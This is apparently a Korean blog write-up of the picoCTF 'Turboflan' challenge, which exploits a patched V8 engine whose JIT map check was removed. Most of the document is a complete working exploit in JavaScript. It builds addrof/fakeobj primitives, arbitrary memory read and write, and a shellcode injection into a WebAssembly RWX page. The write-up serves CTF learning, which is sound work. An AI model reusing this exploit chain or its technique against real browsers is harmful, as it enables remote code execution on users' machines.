[Browser Exploitation] picoCTF - Turboflan
๊ณต๋ถ€์šฉ/Browser Exploitation

[Browser Exploitation] picoCTF - Turboflan

๐Ÿงก Explaination

d8, source, server.py๊ฐ€ ์ฃผ์–ด์ง„๋‹ค. server.py๋Š” Download Horsepower ๋ฌธ์ œ์™€ ๋™์ผํ•˜๋‹ค.

 

๐Ÿงก Function Explaination

__DeoptimizeIfNot ํ•จ์ˆ˜๊ฐ€ ์‚ญ์ œ๋˜์—ˆ๋‹ค. ์ฐพ์•„๋ณด๋‹ˆ ์ด ํ•จ์ˆ˜๋Š” ํ•œ ํ•จ์ˆ˜๊ฐ€ ์ตœ์ ํ™” ๋˜๊ณ  ๊ทธ ํ•จ์ˆ˜์˜ ํƒ€์ž…์ด ๋ฐ”๋€Œ์—ˆ์„ ๋•Œ ์ตœ์ ํ™”๋ฅผ ํ•ด์ œํ•˜๋Š” ์—ญํ• ์„ ์ˆ˜ํ–‰ํ•œ๋‹ค๊ณ  ํ•œ๋‹ค. ์ด ํ•จ์ˆ˜๊ฐ€ ์‚ญ์ œ๋˜์—ˆ์œผ๋ฏ€๋กœ ์ตœ์ ํ™” ๋ฒ„๊ทธ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋‹ค.

diff --git a/src/compiler/effect-control-linearizer.cc b/src/compiler/effect-control-linearizer.cc
index d64c3c80e5..6bbd1e98b0 100644
--- a/src/compiler/effect-control-linearizer.cc
+++ b/src/compiler/effect-control-linearizer.cc
@@ -1866,8 +1866,9 @@ void EffectControlLinearizer::LowerCheckMaps(Node* node, Node* frame_state) {
       Node* map = __ HeapConstant(maps[i]);
       Node* check = __ TaggedEqual(value_map, map);
       if (i == map_count - 1) {
-        __ DeoptimizeIfNot(DeoptimizeReason::kWrongMap, p.feedback(), check,
-                           frame_state, IsSafetyCheck::kCriticalSafetyCheck);
+        // This makes me slow down! Can't have! Gotta go fast!!
+        // __ DeoptimizeIfNot(DeoptimizeReason::kWrongMap, p.feedback(), check,
+        //                     frame_state, IsSafetyCheck::kCriticalSafetyCheck);
       } else {
         auto next_map = __ MakeLabel();
         __ BranchWithCriticalSafetyCheck(check, &done, &next_map);
@@ -1888,8 +1889,8 @@ void EffectControlLinearizer::LowerCheckMaps(Node* node, Node* frame_state) {
       Node* check = __ TaggedEqual(value_map, map);
 
       if (i == map_count - 1) {
-        __ DeoptimizeIfNot(DeoptimizeReason::kWrongMap, p.feedback(), check,
-                           frame_state, IsSafetyCheck::kCriticalSafetyCheck);
+        // __ DeoptimizeIfNot(DeoptimizeReason::kWrongMap, p.feedback(), check,
+        //                     frame_state, IsSafetyCheck::kCriticalSafetyCheck);
       } else {
         auto next_map = __ MakeLabel();
         __ BranchWithCriticalSafetyCheck(check, &done, &next_map);

 

๐Ÿงก Attack Vector

์œ„์—์„œ ์„ค๋ช…ํ–ˆ๋‹ค์‹ถ์ด ์ตœ์ ํ™” ๊ด€๋ จํ•ด์„œ ์ผ์–ด๋‚˜๋Š” ๋ฒ„๊ทธ๋ฅผ ์ด์šฉํ•ด ์ทจ์•ฝ์ ์„ ๋ฐœ์ƒ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋‹ค. ๋‹ค์Œ ์˜ˆ์ œ๋ฅผ ๋ด๋ณด์ž.

function force_read(arr, idx) {
	for(var i=0; i<1; i++)
		i += 2;
	return arr[idx];
}

function force_write(arr, idx, val) {
	for(var i=0; i<1; i++)
		i +=2;
	arr[idx] = val;
}

function force_opti() {	
	for(var i=0; i<200000; i++) {
		force_read(temp, 0);
		force_write(temp, 13.37);
	}
}

var temp = [1.1, 1.2];
var obj = {"A": 1};
var obj_addr = [obj];

force_opti();

console.log(force_read(obj_addr, 0));

force_opti ํ•จ์ˆ˜์—์„œ ์‹ค์ˆ˜ํ˜• ๋ฐฐ์—ด์„ ์ธ์ž๋กœ ๊ฐ€์ง€๊ณ  force_read ํ•จ์ˆ˜์™€ force_write ํ•จ์ˆ˜๋ฅผ 200,000๋ฒˆ์”ฉ ์ˆ˜ํ–‰ํ•œ๋‹ค. ์›๋ž˜ ๋‚˜์˜ ์˜๋„ ๋Œ€๋กœ๋ผ๋ฉด hot and stable optimization์ด ๋˜์–ด์•ผ ํ•˜๋Š”๋ฐ force_read์™€ force_write ํ•จ์ˆ˜์˜ ๋‚ด์šฉ์ด ์ ์–ด์„œ small function optimization์ด ์ˆ˜ํ–‰๋œ๋‹ค. ๊ทผ๋ฐ ๋”ฑํžˆ.. ์ƒ๊ด€์€ ์—†๋‹ค. ๐Ÿ˜ ๋งŒ์•ฝ hot and stable optimization์„ ํ•˜๊ณ  ์‹ถ์œผ๋ฉด ์˜๋ฏธ ์—†๋Š” ๋ฐ˜๋ณต๋ฌธ์„ ์—ฌ๋Ÿฌ ๊ฐœ ๋„ฃ์–ด์ฃผ๋ฉด ๋œ๋‹ค! ์ด์ œ ์‹คํ–‰์„ ํ•ด๋ณด๋ฉด?

root@ubuntu:~/wargame/picoctf/turboflan# ./d8 ./test.js
1.914420234161599e-269

>>> hex(struct.unpack("Q", struct.pack("d", 1.914420234161599e-269))[0])
'0x8243a4108084eed'

Map๊ณผ properties์— ํ•ด๋‹นํ•˜๋Š” ๋ฉ”๋ชจ๋ฆฌ๊ฐ€ leak ๋˜์—ˆ๋‹ค. JSArray์˜ ๊ตฌ์กฐ๋ฅผ ์ž˜ ์ƒ๊ฐํ•ด๋ณด๋ฉด ์™œ ์ด๋ ‡๊ฒŒ ๋‚˜์˜ค๋Š”์ง€ ์•Œ ์ˆ˜ ์žˆ๋‹ค. 

* Double Array: elements -> value

* Object Array: elements -> elements -> value

 

์ด๋ฅผ ์ด์šฉํ•ด์„œ ์ต์Šคํ”Œ๋กœ์ž‡ ์‹œ๋‚˜๋ฆฌ์˜ค๋ฅผ ๊ตฌ์„ฑํ•˜๋ฉด ๋œ๋‹ค.

 

๐Ÿงก How to Exploit?

์ตœ์ ํ™” ๋ฒ„๊ทธ๋ฅผ ์ด์šฉํ•ด ์ตœ์ข…์ ์œผ๋กœ AAR/AAW๋ฅผ ๊ตฌํ˜„ํ•˜์—ฌ ์‰˜์ฝ”๋“œ๋ฅผ ์˜ฌ๋ฆฌ๋Š” ๋ฐฉ๋ฒ•์œผ๋กœ ๊ณต๊ฒฉ์„ ์ง„ํ–‰ํ•  ๊ฒƒ์ด๋‹ค.

 

๋จผ์ €, ์›ํ•˜๋Š” object์˜ ์ฃผ์†Œ๋ฅผ leak ํ•  ์ˆ˜ ์žˆ๋Š” addrof ํ•จ์ˆ˜๋ฅผ ๊ตฌํ˜„ํ•œ๋‹ค.

function addrof(custom) {
	obj_addr[0] = custom;
	fake_header = (obj_prop << 32n) + float_map;
	force_write(obj_addr, 1, itof(fake_header));
	
	var leak = force_read(obj_addr, 0);
	obj_addr[0] = obj;
	return ftoi(leak);
}

๋‹ค์Œ์€ fakeobj ํ•จ์ˆ˜๋ฅผ ๊ตฌํ˜„ํ•œ๋‹ค.

function fakeobj(addr) {
	force_write(obj_addr, 0, itof(addr)); //fake elements
	force_write(obj_addr, 1, itof((obj_prop << 32n) + obj_map))
	return obj_addr[0];
}

๊ทธ๋ฆฌ๊ณ , ๋ฉ”๋ชจ๋ฆฌ์— ๊ตฌ์กฐ๋ฅผ ์ž˜ ๊ณ„์‚ฐํ•ด์„œ AAR/AAW ํ•จ์ˆ˜๋ฅผ ๊ตฌํ˜„ํ•œ๋‹ค.

function aar(addr) {
	var implement_arr = [itof(float_map), 1.2, 1.3, 1.4];
	var fake = fakeobj(addrof(implement_arr) - 0x20n);
	var address = (2n << 32n) + (addr - 0x8n);

	implement_arr[1] = itof(address);
	return fake[0];
}

function aaw(addr, val) {
	var implement_arr = [itof(float_map), 1.2, 1.3, 1.4];
	var fake = fakeobj(addrof(implement_arr) - 0x20n);
	var address = (2n << 32n) + (addr - 0x8n);

	implement_arr[1] = itof(address);
	fake[0] = val;
}

์ตœ์ข… ํŽ˜์ด๋กœ๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

var buf = new ArrayBuffer(8);
var u32_buf = new Uint32Array(buf);
var f64_buf = new Float64Array(buf);

function itof(val) {
	u32_buf[0] = Number(BigInt(val) & 0xffffffffn);
	u32_buf[1] = Number(BigInt(val) >> 32n);
	return f64_buf[0];
}

function ftoi(val) {
	f64_buf[0] = val;
	return BigInt(u32_buf[0]) + (BigInt(u32_buf[1]) << 32n);
}

function force_read(arr, idx) {
	for(var i=0; i<1; i++)
		i += 2;
	return arr[idx];
}

function force_write(arr, idx, val) {
	for(var i=0; i<1; i++)
		i += 2;
	arr[idx] = val;
}

function addrof(custom) {
	obj_addr[0] = custom;
	fake_header = (obj_prop << 32n) + float_map;
	force_write(obj_addr, 1, itof(fake_header));
	
	var leak = force_read(obj_addr, 0);
	obj_addr[0] = obj;
	return ftoi(leak);
}

function fakeobj(addr) {
	force_write(obj_addr, 0, itof(addr)); //fake elements
	force_write(obj_addr, 1, itof((obj_prop << 32n) + obj_map))
	return obj_addr[0];
}

function aar(addr) {
	var implement_arr = [itof(float_map), 1.2, 1.3, 1.4];
	var fake = fakeobj(addrof(implement_arr) - 0x20n);
	var address = (2n << 32n) + (addr - 0x8n);

	implement_arr[1] = itof(address);
	return fake[0];
}

function aaw(addr, val) {
	var implement_arr = [itof(float_map), 1.2, 1.3, 1.4];
	var fake = fakeobj(addrof(implement_arr) - 0x20n);
	var address = (2n << 32n) + (addr - 0x8n);

	implement_arr[1] = itof(address);
	fake[0] = val;
}

function copy_shellcode(addr, shellcode) {
	var buffer = new ArrayBuffer(0x100);
	//%DebugPrint(buffer);
	var dataview = new DataView(buffer);
	var buffer_addr = addrof(buffer);
	var backing_store_addr = buffer_addr + 0x14n;

	aaw(backing_store_addr, addr);

	for(var i=0; i<shellcode.length; i++)
		dataview.setUint32(i*4, shellcode[i], true);
}

var obj = {"A": 1};
var obj_addr = [obj, obj];
var jit_arr = [1.1];
var float_arr = [13.37, 13.37, 13.37, 13.37];
var test = [11.11];

for(var i=0; i<200000; i++) {
	force_read(jit_arr, 0);
	force_write(jit_arr, 0, 13.37);
}

var obj_map = ftoi(force_read(obj_addr, 1)) & 0xfffffffn
var float_map = obj_map - 0x50n;
var obj_prop = ftoi(force_read(obj_addr, 1)) >> 32n;

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;

var rwx_page_addr = ftoi(aar(addrof(wasm_instance)+0x68n-0x1n)) >> 8n;
var custom_shellcode = [0x0cfe016a, 0x2fb84824, 0x2f6e6962, 0x50746163, 0x68e78948, 0x7478742e, 0x0101b848, 0x01010101, 0x48500101, 0x756062b8, 0x606d6701, 0x04314866, 0x56f63124, 0x485e0c6a, 0x6a56e601, 0x01485e10, 0x894856e6, 0x6ad231e6, 0x050f583b];

console.log("rwx_page_addr: 0x" + rwx_page_addr.toString(16));
copy_shellcode(itof(rwx_page_addr), custom_shellcode);

f();